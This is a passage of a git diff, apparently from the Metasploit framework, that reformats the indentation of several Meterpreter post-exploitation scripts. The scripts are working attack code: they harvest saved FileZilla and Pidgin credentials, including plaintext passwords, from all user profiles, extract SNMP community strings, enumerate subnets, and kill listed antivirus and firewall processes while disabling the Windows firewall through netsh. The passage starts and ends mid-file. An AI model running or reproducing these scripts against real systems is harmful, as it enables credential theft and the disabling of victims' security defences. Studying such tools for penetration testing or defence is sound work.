], - "-c" => [ false, "Return credentials." ] + "-h" => [ false, "Help menu." ], + "-c" => [ false, "Return credentials." ] ) get_credentials=false opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting servers and credentials from Filezilla." - print_line(opts.usage) - raise Rex::Script::Completed - when "-c" - get_credentials=true - end + case opt + when "-h" + print_line "Meterpreter Script for extracting servers and credentials from Filezilla." + print_line(opts.usage) + raise Rex::Script::Completed + when "-c" + get_credentials=true + end } ### If we get here and have none of our flags true, then we'll just ### get credentials if !(get_credentials) - get_credentials=true + get_credentials=true end #------------------------------------------------------------------------------- @@ -43,129 +43,129 @@ dest = Rex::FileUtils.clean_path(logs + "/" + host + filenameinfo + ".txt") #------------------------------------------------------------------------------- #function for checking of FileZilla profile is present def check_filezilla(path) - found = nil - @client.fs.dir.foreach(path) do |x| - next if x =~ /^(\.|\.\.)$/ - if x =~ (/FileZilla/) - ### If we find the path, let's return it - found = path + x - return found - end - end - return found + found = nil + @client.fs.dir.foreach(path) do |x| + next if x =~ /^(\.|\.\.)$/ + if x =~ (/FileZilla/) + ### If we find the path, let's return it + found = path + x + return found + end + end + return found end #------------------------------------------------------------------------------- def extract_saved_creds(path,xml_file) - accounts_xml = "" - creds = "" - print_status("Reading #{xml_file} file...") - ### modified to use pidgin_path, which already has .purple in it - account_file = @client.fs.file.new(path + "\\#{xml_file}", "rb") - until account_file.eof? - accounts_xml << account_file.read - end - account_file.close - doc = (REXML::Document.new accounts_xml).root - doc.elements.to_a("//Server").each do |e| - print_status "\tHost: #{e.elements["Host"].text}" - creds << "Host: #{e.elements["Host"].text}" - print_status "\tPort: #{e.elements["Port"].text}" - creds << "Port: #{e.elements["Port"].text}" - logon_type = e.elements["Logontype"].text - if logon_type == "0" - print_status "\tLogon Type: Anonymous" - creds << "Logon Type: Anonymous" - elsif logon_type =~ /1|4/ - print_status "\tUser: #{e.elements["User"].text}" - creds << "User: #{e.elements["User"].text}" - print_status "\tPassword: #{e.elements["Pass"].text}" - creds << "Password: #{e.elements["Pass"].text}" - elsif logon_type =~ /2|3/ - print_status "\tUser: #{e.elements["User"].text}" - creds << "User: #{e.elements["User"].text}" - end + accounts_xml = "" + creds = "" + print_status("Reading #{xml_file} file...") + ### modified to use pidgin_path, which already has .purple in it + account_file = @client.fs.file.new(path + "\\#{xml_file}", "rb") + until account_file.eof? + accounts_xml << account_file.read + end + account_file.close + doc = (REXML::Document.new accounts_xml).root + doc.elements.to_a("//Server").each do |e| + print_status "\tHost: #{e.elements["Host"].text}" + creds << "Host: #{e.elements["Host"].text}" + print_status "\tPort: #{e.elements["Port"].text}" + creds << "Port: #{e.elements["Port"].text}" + logon_type = e.elements["Logontype"].text + if logon_type == "0" + print_status "\tLogon Type: Anonymous" + creds << "Logon Type: Anonymous" + elsif logon_type =~ /1|4/ + print_status "\tUser: #{e.elements["User"].text}" + creds << "User: #{e.elements["User"].text}" + print_status "\tPassword: #{e.elements["Pass"].text}" + creds << "Password: #{e.elements["Pass"].text}" + elsif logon_type =~ /2|3/ + print_status "\tUser: #{e.elements["User"].text}" + creds << "User: #{e.elements["User"].text}" + end - proto = e.elements["Protocol"].text - if proto == "0" - print_status "\tProtocol: FTP" - creds << "Protocol: FTP" - elsif proto == "1" - print_status "\tProtocol: SSH" - creds << "Protocol: SSH" - elsif proto == "3" - print_status "\tProtocol: FTPS" - creds << "Protocol: FTPS" - elsif proto == "4" - print_status "\tProtocol: FTPES" - creds << "Protocol: FTPES" - end - print_status "" - creds << "" + proto = e.elements["Protocol"].text + if proto == "0" + print_status "\tProtocol: FTP" + creds << "Protocol: FTP" + elsif proto == "1" + print_status "\tProtocol: SSH" + creds << "Protocol: SSH" + elsif proto == "3" + print_status "\tProtocol: FTPS" + creds << "Protocol: FTPS" + elsif proto == "4" + print_status "\tProtocol: FTPES" + creds << "Protocol: FTPES" + end + print_status "" + creds << "" - end + end # - return creds + return creds end #------------------------------------------------------------------------------- #Function to enumerate the users if running as SYSTEM def enum_users(os) - users = [] + users = [] - path4users = "" - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + path4users = "" + sysdrv = @client.fs.file.expand_path("%SystemDrive%") - if os =~ /7|Vista|2008/ - path4users = sysdrv + "\\users\\" - path2purple = "\\AppData\\Roaming\\" - else - path4users = sysdrv + "\\Documents and Settings\\" - path2purple = "\\Application Data\\" - end + if os =~ /7|Vista|2008/ + path4users = sysdrv + "\\users\\" + path2purple = "\\AppData\\Roaming\\" + else + path4users = sysdrv + "\\Documents and Settings\\" + path2purple = "\\Application Data\\" + end - if is_system? - print_status("Running as SYSTEM extracting user list..") - @client.fs.dir.foreach(path4users) do |u| - userinfo = {} - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - userinfo['username'] = u - userinfo['userappdata'] = path4users + u + path2purple - users << userinfo - end - else - userinfo = {} - uservar = @client.fs.file.expand_path("%USERNAME%") - userinfo['username'] = uservar - userinfo['userappdata'] = path4users + uservar + path2purple - users << userinfo - end - return users + if is_system? + print_status("Running as SYSTEM extracting user list..") + @client.fs.dir.foreach(path4users) do |u| + userinfo = {} + next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ + userinfo['username'] = u + userinfo['userappdata'] = path4users + u + path2purple + users << userinfo + end + else + userinfo = {} + uservar = @client.fs.file.expand_path("%USERNAME%") + userinfo['username'] = uservar + userinfo['userappdata'] = path4users + uservar + path2purple + users << userinfo + end + return users end ################## MAIN ################## if client.platform =~ /win32|win64/ - print_status("Running Meterpreter FileZilla Credential harvester script") - print_status("All services are logged at #{dest}") - enum_users(os).each do |u| - print_status("Checking if Filezilla profile is present for user :::#{u['username']}:::...") - ### Find the path (if it exists) for this user, - filezilla_path = check_filezilla(u['userappdata']) - if filezilla_path - print_status("FileZilla profile found!") - ### modified to use filezilla_path - xml_cfg_files = ['sitemanager.xml','recentservers.xml'] - if get_credentials - xml_cfg_files.each do |xml_cfg_file| - file_local_write(dest,extract_saved_creds(filezilla_path,xml_cfg_file)) - end - end + print_status("Running Meterpreter FileZilla Credential harvester script") + print_status("All services are logged at #{dest}") + enum_users(os).each do |u| + print_status("Checking if Filezilla profile is present for user :::#{u['username']}:::...") + ### Find the path (if it exists) for this user, + filezilla_path = check_filezilla(u['userappdata']) + if filezilla_path + print_status("FileZilla profile found!") + ### modified to use filezilla_path + xml_cfg_files = ['sitemanager.xml','recentservers.xml'] + if get_credentials + xml_cfg_files.each do |xml_cfg_file| + file_local_write(dest,extract_saved_creds(filezilla_path,xml_cfg_file)) + end + end - else - print_error("Filezilla profile not found!") - end - end + else + print_error("Filezilla profile not found!") + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/get_local_subnets.rb b/scripts/meterpreter/get_local_subnets.rb index 3622811d57..aec4a583be 100644 --- a/scripts/meterpreter/get_local_subnets.rb +++ b/scripts/meterpreter/get_local_subnets.rb @@ -3,26 +3,26 @@ # Ripped from http://blog.metasploit.com/2006/10/meterpreter-scripts-and-msrt.html @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) def usage - print_line("Get a list of local subnets based on the host's routes") - print_line("USAGE: run get_local_subnets") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Get a list of local subnets based on the host's routes") + print_line("USAGE: run get_local_subnets") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - end + case opt + when "-h" + usage + end } client.net.config.each_route { |route| - # Remove multicast and loopback interfaces - next if route.subnet =~ /^(224\.|127\.)/ - next if route.subnet == '0.0.0.0' - next if route.netmask == '255.255.255.255' - print_line("Local subnet: #{route.subnet}/#{route.netmask}") + # Remove multicast and loopback interfaces + next if route.subnet =~ /^(224\.|127\.)/ + next if route.subnet == '0.0.0.0' + next if route.netmask == '255.255.255.255' + print_line("Local subnet: #{route.subnet}/#{route.netmask}") } diff --git a/scripts/meterpreter/get_pidgin_creds.rb b/scripts/meterpreter/get_pidgin_creds.rb index 77cbe3c649..9edb6df611 100644 --- a/scripts/meterpreter/get_pidgin_creds.rb +++ b/scripts/meterpreter/get_pidgin_creds.rb @@ -5,33 +5,33 @@ require "rexml/document" #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-c" => [ false, "Return credentials." ], - "-l" => [ false, "Retrieve logs." ], - "-b" => [ false, "Retrieve buddies." ] + "-h" => [ false, "Help menu." ], + "-c" => [ false, "Return credentials." ], + "-l" => [ false, "Retrieve logs." ], + "-b" => [ false, "Retrieve buddies." ] ) get_credentials=false get_buddies=false get_logs=false opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting configured services with username and passwords." - print_line(opts.usage) - raise Rex::Script::Completed - when "-l" - get_logs=true - when "-b" - get_buddies=true - when "-c" - get_credentials=true - end + case opt + when "-h" + print_line "Meterpreter Script for extracting configured services with username and passwords." + print_line(opts.usage) + raise Rex::Script::Completed + when "-l" + get_logs=true + when "-b" + get_buddies=true + when "-c" + get_credentials=true + end } ### If we get here and have none of our flags true, then we'll just ### get credentials if !(get_credentials || get_buddies || get_logs) - get_credentials=true + get_credentials=true end #------------------------------------------------------------------------------- @@ -51,156 +51,156 @@ dest = Rex::FileUtils.clean_path(logs + "/" + host + filenameinfo + ".txt") #------------------------------------------------------------------------------- #function for checking of Pidgin profile is present def check_pidgin(path) - found = nil - @client.fs.dir.foreach(path) do |x| - next if x =~ /^(\.|\.\.)$/ - if x =~ (/\.purple/) - ### If we find the path, let's return it - found = path + x - return found - end - end - return found + found = nil + @client.fs.dir.foreach(path) do |x| + next if x =~ /^(\.|\.\.)$/ + if x =~ (/\.purple/) + ### If we find the path, let's return it + found = path + x + return found + end + end + return found end #------------------------------------------------------------------------------- #function for extracting the buddies def extract_buddies(path) - blist_xml = "" - buddies = "" - print_status("Reading blist.xml file...") - ### modified to use pidgin_path, which already has .purple in it - blist_file = @client.fs.file.new(path + "\\blist.xml", "rb") - until blist_file.eof? - blist_xml << blist_file.read - end - blist_file.close - doc = (REXML::Document.new blist_xml).root - doc.elements["blist"].elements.each("group") {|group| - group.elements.each("contact") {|contact| - b_name=contact.elements["buddy"].elements["name"].text + "" - b_account=contact.elements["buddy"].attributes["account"] + "" - b_proto=contact.elements["buddy"].attributes["proto"] + "" - b_alias="" - if (contact.elements["buddy"].elements["alias"]) - b_alias=contact.elements["buddy"].elements["alias"].text - end - buddies << "buddy=>" + b_name + "\talias=>" + b_alias + "\taccount=>" + b_account + ":" + b_proto + "\n" - } - } - return buddies + blist_xml = "" + buddies = "" + print_status("Reading blist.xml file...") + ### modified to use pidgin_path, which already has .purple in it + blist_file = @client.fs.file.new(path + "\\blist.xml", "rb") + until blist_file.eof? + blist_xml << blist_file.read + end + blist_file.close + doc = (REXML::Document.new blist_xml).root + doc.elements["blist"].elements.each("group") {|group| + group.elements.each("contact") {|contact| + b_name=contact.elements["buddy"].elements["name"].text + "" + b_account=contact.elements["buddy"].attributes["account"] + "" + b_proto=contact.elements["buddy"].attributes["proto"] + "" + b_alias="" + if (contact.elements["buddy"].elements["alias"]) + b_alias=contact.elements["buddy"].elements["alias"].text + end + buddies << "buddy=>" + b_name + "\talias=>" + b_alias + "\taccount=>" + b_account + ":" + b_proto + "\n" + } + } + return buddies end #------------------------------------------------------------------------------- #function for downloading logs def download_logs(dest,pidgin_path) - begin - stat = client.fs.file.stat(pidgin_path+"\\logs") - if(stat.directory?) - print_status("downloading " + pidgin_path +"\\logs to " + dest+"/logs") - client.fs.dir.download(dest+"/logs", pidgin_path+"\\logs", true) - end - rescue - print_status("Log directory does not exist, loggin is not enabled.") - end + begin + stat = client.fs.file.stat(pidgin_path+"\\logs") + if(stat.directory?) + print_status("downloading " + pidgin_path +"\\logs to " + dest+"/logs") + client.fs.dir.download(dest+"/logs", pidgin_path+"\\logs", true) + end + rescue + print_status("Log directory does not exist, loggin is not enabled.") + end end #------------------------------------------------------------------------------- #function for extracting the credentials def extract_creds(path) - accounts_xml = "" - creds = "" - print_status("Reading accounts.xml file...") - ### modified to use pidgin_path, which already has .purple in it - account_file = @client.fs.file.new(path + "\\accounts.xml", "rb") - until account_file.eof? - accounts_xml << account_file.read - end - account_file.close - doc = (REXML::Document.new accounts_xml).root - doc.elements.each("account") {|element| - password = "<unknown>" - if element.elements["password"] - password=element.elements["password"].text - end + accounts_xml = "" + creds = "" + print_status("Reading accounts.xml file...") + ### modified to use pidgin_path, which already has .purple in it + account_file = @client.fs.file.new(path + "\\accounts.xml", "rb") + until account_file.eof? + accounts_xml << account_file.read + end + account_file.close + doc = (REXML::Document.new accounts_xml).root + doc.elements.each("account") {|element| + password = "<unknown>" + if element.elements["password"] + password=element.elements["password"].text + end - print_status("\tProtocol: #{element.elements["protocol"].text}") - print_status("\tUsername: #{element.elements["name"].text}") - print_status("\tPassword: #{element.elements["password"].text}") - print_status("\tServer: #{element.elements["settings"].elements["setting[@name='server']"].text}") - print_status("\tPort: #{element.elements["settings"].elements["setting[@name='port']"].text}") - print_status() + print_status("\tProtocol: #{element.elements["protocol"].text}") + print_status("\tUsername: #{element.elements["name"].text}") + print_status("\tPassword: #{element.elements["password"].text}") + print_status("\tServer: #{element.elements["settings"].elements["setting[@name='server']"].text}") + print_status("\tPort: #{element.elements["settings"].elements["setting[@name='port']"].text}") + print_status() - creds << "user=>#{element.elements["name"].text}" - creds << "\tpass=>#{password}" - creds << "\tserver=>#{element.elements["settings"].elements["setting[@name='server']"].text}" - creds << ":#{element.elements["settings"].elements["setting[@name='port']"].text}" - creds << "\tproto=>#{element.elements["protocol"].text}\n" - } - return creds + creds << "user=>#{element.elements["name"].text}" + creds << "\tpass=>#{password}" + creds << "\tserver=>#{element.elements["settings"].elements["setting[@name='server']"].text}" + creds << ":#{element.elements["settings"].elements["setting[@name='port']"].text}" + creds << "\tproto=>#{element.elements["protocol"].text}\n" + } + return creds end #------------------------------------------------------------------------------- #Function to enumerate the users if running as SYSTEM def enum_users(os) - users = [] + users = [] - path4users = "" - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + path4users = "" + sysdrv = @client.fs.file.expand_path("%SystemDrive%") - if os =~ /Windows 7|Vista|2008/ - path4users = sysdrv + "\\users\\" - path2purple = "\\AppData\\Roaming\\" - else - path4users = sysdrv + "\\Documents and Settings\\" - path2purple = "\\Application Data\\" - end + if os =~ /Windows 7|Vista|2008/ + path4users = sysdrv + "\\users\\" + path2purple = "\\AppData\\Roaming\\" + else + path4users = sysdrv + "\\Documents and Settings\\" + path2purple = "\\Application Data\\" + end - if is_system? - print_status("Running as SYSTEM extracting user list..") - @client.fs.dir.foreach(path4users) do |u| - userinfo = {} - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - userinfo['username'] = u - userinfo['userappdata'] = path4users + u + path2purple - users << userinfo - end - else - userinfo = {} - uservar = @client.fs.file.expand_path("%USERNAME%") - userinfo['username'] = uservar - userinfo['userappdata'] = path4users + uservar + path2purple - users << userinfo - end - return users + if is_system? + print_status("Running as SYSTEM extracting user list..") + @client.fs.dir.foreach(path4users) do |u| + userinfo = {} + next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ + userinfo['username'] = u + userinfo['userappdata'] = path4users + u + path2purple + users << userinfo + end + else + userinfo = {} + uservar = @client.fs.file.expand_path("%USERNAME%") + userinfo['username'] = uservar + userinfo['userappdata'] = path4users + uservar + path2purple + users << userinfo + end + return users end #------------------------------------------------------------------------------- ################## MAIN ################## if client.platform =~ /win32|win64/ - print_status("Running Meterpreter Pidgin Credential harvester script") - print_status("All services are logged at #{dest}") - enum_users(os).each do |u| - print_status("Checking if Pidgin profile is present for user :::#{u['username']}:::...") - ### Find the path (if it exists) for this user, - pidgin_path = check_pidgin(u['userappdata']) - if pidgin_path - print_status("Pidgin profile found!") - ### modified to use pidgin_path - if get_credentials - file_local_write(dest,extract_creds(pidgin_path)) - end - if get_buddies - file_local_write(dest,extract_buddies(pidgin_path)) - print_status("Buddie list has been saved to the log file.") - end - if get_logs - download_logs(logs,pidgin_path) - end - else - print_error("Pidgin profile not found!") - end - end + print_status("Running Meterpreter Pidgin Credential harvester script") + print_status("All services are logged at #{dest}") + enum_users(os).each do |u| + print_status("Checking if Pidgin profile is present for user :::#{u['username']}:::...") + ### Find the path (if it exists) for this user, + pidgin_path = check_pidgin(u['userappdata']) + if pidgin_path + print_status("Pidgin profile found!") + ### modified to use pidgin_path + if get_credentials + file_local_write(dest,extract_creds(pidgin_path)) + end + if get_buddies + file_local_write(dest,extract_buddies(pidgin_path)) + print_status("Buddie list has been saved to the log file.") + end + if get_logs + download_logs(logs,pidgin_path) + end + else + print_error("Pidgin profile not found!") + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/get_valid_community.rb b/scripts/meterpreter/get_valid_community.rb index 6802176f10..f27cd787dc 100644 --- a/scripts/meterpreter/get_valid_community.rb +++ b/scripts/meterpreter/get_valid_community.rb @@ -4,55 +4,55 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."] + "-h" => [ false, "Help menu."] ) def usage() - print("\nPull the SNMP community string from a Windows Meterpreter session\n\n") - completed + print("\nPull the SNMP community string from a Windows Meterpreter session\n\n") + completed end def get_community(session) - key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities" - root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) - begin - # oddly enough this does not return the data field which indicates ro/rw - return open_key.enum_value.collect {|x| x.name} - rescue - # no registry key found or other error - return nil - end + key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities" + root_key, base_key = session.sys.registry.splitkey(key) + open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) + begin + # oddly enough this does not return the data field which indicates ro/rw + return open_key.enum_value.collect {|x| x.name} + rescue + # no registry key found or other error + return nil + end end @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - end + case opt + when "-h" + usage + end } if client.platform =~ /win32|win64/ - print_status("Searching for community strings...") - strs = get_community(session) - if strs - strs.each do |str| - print_good("FOUND: #{str}") - @client.framework.db.report_auth_info( - :host => client.sock.peerhost, - :port => 161, - :proto => 'udp', - :sname => 'snmp', - :user => '', - :pass => str, - :type => "snmp.community", - :duplicate_ok => true - ) - end - else - print_status("Not found") - end + print_status("Searching for community strings...") + strs = get_community(session) + if strs + strs.each do |str| + print_good("FOUND: #{str}") + @client.framework.db.report_auth_info( + :host => client.sock.peerhost, + :port => 161, + :proto => 'udp', + :sname => 'snmp', + :user => '', + :pass => str, + :type => "snmp.community", + :duplicate_ok => true + ) + end + else + print_status("Not found") + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/getcountermeasure.rb b/scripts/meterpreter/getcountermeasure.rb index 51a3200d30..63c1b4f1c6 100644 --- a/scripts/meterpreter/getcountermeasure.rb +++ b/scripts/meterpreter/getcountermeasure.rb @@ -5,370 +5,370 @@ # Version: 0.1.0 session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-k" => [ false, "Kill any AV, HIPS and Third Party Firewall process found." ], - "-d" => [ false, "Disable built in Firewall" ] + "-h" => [ false, "Help menu." ], + "-k" => [ false, "Kill any AV, HIPS and Third Party Firewall process found." ], + "-d" => [ false, "Disable built in Firewall" ] ) def usage - print_line("Getcountermeasure -- List (or optionally, kill) HIPS and AV") - print_line("processes, show XP firewall rules, and display DEP and UAC") - print_line("policies") - print(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Getcountermeasure -- List (or optionally, kill) HIPS and AV") + print_line("processes, show XP firewall rules, and display DEP and UAC") + print_line("policies") + print(@@exec_opts.usage) + raise Rex::Script::Completed end #------------------------------------------------------------------------------- avs = %W{ - a2adguard.exe - a2adwizard.exe - a2antidialer.exe - a2cfg.exe - a2cmd.exe - a2free.exe - a2guard.exe - a2hijackfree.exe - a2scan.exe - a2service.exe - a2start.exe - a2sys.exe - a2upd.exe - aavgapi.exe - aawservice.exe - aawtray.exe - ad-aware.exe - ad-watch.exe - alescan.exe - anvir.exe - ashdisp.exe - ashmaisv.exe - ashserv.exe - ashwebsv.exe - aswupdsv.exe - atrack.exe - avgagent.exe - avgamsvr.exe - avgcc.exe - avgctrl.exe - avgemc.exe - avgnt.exe - avgtcpsv.exe - avguard.exe - avgupsvc.exe - avgw.exe - avkbar.exe - avk.exe - avkpop.exe - avkproxy.exe - avkservice.exe - avktray - avktray.exe - avkwctl - avkwctl.exe - avmailc.exe - avp.exe - avpm.exe - avpmwrap.exe - avsched32.exe - avwebgrd.exe - avwin.exe - avwupsrv.exe - avz.exe - bdagent.exe - bdmcon.exe - bdnagent.exe - bdss.exe - bdswitch.exe - blackd.exe - blackice.exe - blink.exe - boc412.exe - boc425.exe - bocore.exe - bootwarn.exe - cavrid.exe - cavtray.exe - ccapp.exe - ccevtmgr.exe - ccimscan.exe - ccproxy.exe - ccpwdsvc.exe - ccpxysvc.exe - ccsetmgr.exe - cfgwiz.exe - cfp.exe - clamd.exe - clamservice.exe - clamtray.exe - cmdagent.exe - cpd.exe - cpf.exe - csinsmnt.exe - dcsuserprot.exe - defensewall.exe - defensewall_serv.exe - defwatch.exe - f-agnt95.exe - fpavupdm.exe - f-prot95.exe - f-prot.exe - fprot.exe - fsaua.exe - fsav32.exe - f-sched.exe - fsdfwd.exe - fsm32.exe - fsma32.exe - fssm32.exe - f-stopw.exe - f-stopw.exe - fwservice.exe - fwsrv.exe - iamstats.exe - iao.exe - icload95.exe - icmon.exe - idsinst.exe - idslu.exe - inetupd.exe - irsetup.exe - isafe.exe - isignup.exe - issvc.exe - kav.exe - kavss.exe - kavsvc.exe - klswd.exe - kpf4gui.exe - kpf4ss.exe - livesrv.exe - lpfw.exe - mcagent.exe - mcdetect.exe - mcmnhdlr.exe - mcrdsvc.exe - mcshield.exe - mctskshd.exe - mcvsshld.exe - mghtml.exe - mpftray.exe - msascui.exe - mscifapp.exe - msfwsvc.exe - msgsys.exe - msssrv.exe - navapsvc.exe - navapw32.exe - navlogon.dll - navstub.exe - navw32.exe - nisemsvr.exe - nisum.exe - nmain.exe - noads.exe - nod32krn.exe - nod32kui.exe - nod32ra.exe - npfmntor.exe - nprotect.exe - nsmdtr.exe - oasclnt.exe - ofcdog.exe - opscan.exe - ossec-agent.exe - outpost.exe - paamsrv.exe - pavfnsvr.exe - pcclient.exe - pccpfw.exe - pccwin98.exe - persfw.exe - protector.exe - qconsole.exe - qdcsfs.exe - rtvscan.exe - sadblock.exe - safe.exe - sandboxieserver.exe - savscan.exe - sbiectrl.exe - sbiesvc.exe - sbserv.exe - scfservice.exe - sched.exe - schedm.exe - scheduler daemon.exe - sdhelp.exe - serv95.exe - sgbhp.exe - sgmain.exe - slee503.exe - smartfix.exe - smc.exe - snoopfreesvc.exe - snoopfreeui.exe - spbbcsvc.exe - sp_rsser.exe - spyblocker.exe - spybotsd.exe - spysweeper.exe - spysweeperui.exe - spywareguard.dll - spywareterminatorshield.exe - ssu.exe - steganos5.exe - stinger.exe - swdoctor.exe - swupdate.exe - symlcsvc.exe - symundo.exe - symwsc.exe - symwscno.exe - tcguard.exe - tds2-98.exe - tds-3.exe - teatimer.exe - tgbbob.exe - tgbstarter.exe - tsatudt.exe - umxagent.exe - umxcfg.exe - umxfwhlp.exe - umxlu.exe - umxpol.exe - umxtray.exe - usrprmpt.exe - vetmsg9x.exe - vetmsg.exe - vptray.exe - vsaccess.exe - vsserv.exe - wcantispy.exe - win-bugsfix.exe - winpatrol.exe - winpatrolex.exe - wrsssdk.exe - xcommsvr.exe - xfr.exe - xp-antispy.exe - zegarynka.exe - zlclient.exe + a2adguard.exe + a2adwizard.exe + a2antidialer.exe + a2cfg.exe + a2cmd.exe + a2free.exe + a2guard.exe + a2hijackfree.exe + a2scan.exe + a2service.exe + a2start.exe + a2sys.exe + a2upd.exe + aavgapi.exe + aawservice.exe + aawtray.exe + ad-aware.exe + ad-watch.exe + alescan.exe + anvir.exe + ashdisp.exe + ashmaisv.exe + ashserv.exe + ashwebsv.exe + aswupdsv.exe + atrack.exe + avgagent.exe + avgamsvr.exe + avgcc.exe + avgctrl.exe + avgemc.exe + avgnt.exe + avgtcpsv.exe + avguard.exe + avgupsvc.exe + avgw.exe + avkbar.exe + avk.exe + avkpop.exe + avkproxy.exe + avkservice.exe + avktray + avktray.exe + avkwctl + avkwctl.exe + avmailc.exe + avp.exe + avpm.exe + avpmwrap.exe + avsched32.exe + avwebgrd.exe + avwin.exe + avwupsrv.exe + avz.exe + bdagent.exe + bdmcon.exe + bdnagent.exe + bdss.exe + bdswitch.exe + blackd.exe + blackice.exe + blink.exe + boc412.exe + boc425.exe + bocore.exe + bootwarn.exe + cavrid.exe + cavtray.exe + ccapp.exe + ccevtmgr.exe + ccimscan.exe + ccproxy.exe + ccpwdsvc.exe + ccpxysvc.exe + ccsetmgr.exe + cfgwiz.exe + cfp.exe + clamd.exe + clamservice.exe + clamtray.exe + cmdagent.exe + cpd.exe + cpf.exe + csinsmnt.exe + dcsuserprot.exe + defensewall.exe + defensewall_serv.exe + defwatch.exe + f-agnt95.exe + fpavupdm.exe + f-prot95.exe + f-prot.exe + fprot.exe + fsaua.exe + fsav32.exe + f-sched.exe + fsdfwd.exe + fsm32.exe + fsma32.exe + fssm32.exe + f-stopw.exe + f-stopw.exe + fwservice.exe + fwsrv.exe + iamstats.exe + iao.exe + icload95.exe + icmon.exe + idsinst.exe + idslu.exe + inetupd.exe + irsetup.exe + isafe.exe + isignup.exe + issvc.exe + kav.exe + kavss.exe + kavsvc.exe + klswd.exe + kpf4gui.exe + kpf4ss.exe + livesrv.exe + lpfw.exe + mcagent.exe + mcdetect.exe + mcmnhdlr.exe + mcrdsvc.exe + mcshield.exe + mctskshd.exe + mcvsshld.exe + mghtml.exe + mpftray.exe + msascui.exe + mscifapp.exe + msfwsvc.exe + msgsys.exe + msssrv.exe + navapsvc.exe + navapw32.exe + navlogon.dll + navstub.exe + navw32.exe + nisemsvr.exe + nisum.exe + nmain.exe + noads.exe + nod32krn.exe + nod32kui.exe + nod32ra.exe + npfmntor.exe + nprotect.exe + nsmdtr.exe + oasclnt.exe + ofcdog.exe + opscan.exe + ossec-agent.exe + outpost.exe + paamsrv.exe + pavfnsvr.exe + pcclient.exe + pccpfw.exe + pccwin98.exe + persfw.exe + protector.exe + qconsole.exe + qdcsfs.exe + rtvscan.exe + sadblock.exe + safe.exe + sandboxieserver.exe + savscan.exe + sbiectrl.exe + sbiesvc.exe + sbserv.exe + scfservice.exe + sched.exe + schedm.exe + scheduler daemon.exe + sdhelp.exe + serv95.exe + sgbhp.exe + sgmain.exe + slee503.exe + smartfix.exe + smc.exe + snoopfreesvc.exe + snoopfreeui.exe + spbbcsvc.exe + sp_rsser.exe + spyblocker.exe + spybotsd.exe + spysweeper.exe + spysweeperui.exe + spywareguard.dll + spywareterminatorshield.exe + ssu.exe + steganos5.exe + stinger.exe + swdoctor.exe + swupdate.exe + symlcsvc.exe + symundo.exe + symwsc.exe + symwscno.exe + tcguard.exe + tds2-98.exe + tds-3.exe + teatimer.exe + tgbbob.exe + tgbstarter.exe + tsatudt.exe + umxagent.exe + umxcfg.exe + umxfwhlp.exe + umxlu.exe + umxpol.exe + umxtray.exe + usrprmpt.exe + vetmsg9x.exe + vetmsg.exe + vptray.exe + vsaccess.exe + vsserv.exe + wcantispy.exe + win-bugsfix.exe + winpatrol.exe + winpatrolex.exe + wrsssdk.exe + xcommsvr.exe + xfr.exe + xp-antispy.exe + zegarynka.exe + zlclient.exe } #------------------------------------------------------------------------------- # Check for the presence of AV, HIPS and Third Party firewall and/or kill the # processes associated with it def check(session,avs,killbit) - print_status("Checking for contermeasures...") - session.sys.process.get_processes().each do |x| - if (avs.index(x['name'].downcase)) - print_status("\tPossible countermeasure found #{x['name']} #{x['path']}") - if (killbit) - print_status("\tKilling process for countermeasure.....") - session.sys.process.kill(x['pid']) - end - end - end + print_status("Checking for contermeasures...") + session.sys.process.get_processes().each do |x| + if (avs.index(x['name'].downcase)) + print_status("\tPossible countermeasure found #{x['name']} #{x['path']}") + if (killbit) + print_status("\tKilling process for countermeasure.....") + session.sys.process.kill(x['pid']) + end + end + end end #------------------------------------------------------------------------------- # Get the configuration and/or disable the built in Windows Firewall def checklocalfw(session,killfw) - print_status("Getting Windows Built in Firewall configuration...") - opmode = "" - r = session.sys.process.execute("cmd.exe /c netsh firewall show opmode", nil, {'Hidden' => 'true', 'Channelized' => true}) - while(d = r.channel.read) - opmode << d - end - r.channel.close - r.close - opmode.split("\n").each do |o| - print_status("\t#{o}") - end - if (killfw) - print_status("Disabling Built in Firewall.....") - f = session.sys.process.execute("cmd.exe /c netsh firewall set opmode mode=DISABLE", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = f.channel.read) - if d =~ /The requested operation requires elevation./ - print_status("\tUAC or Insufficient permissions prevented the disabling of Firewall") - end - end - f.channel.close - f.close - end + print_status("Getting Windows Built in Firewall 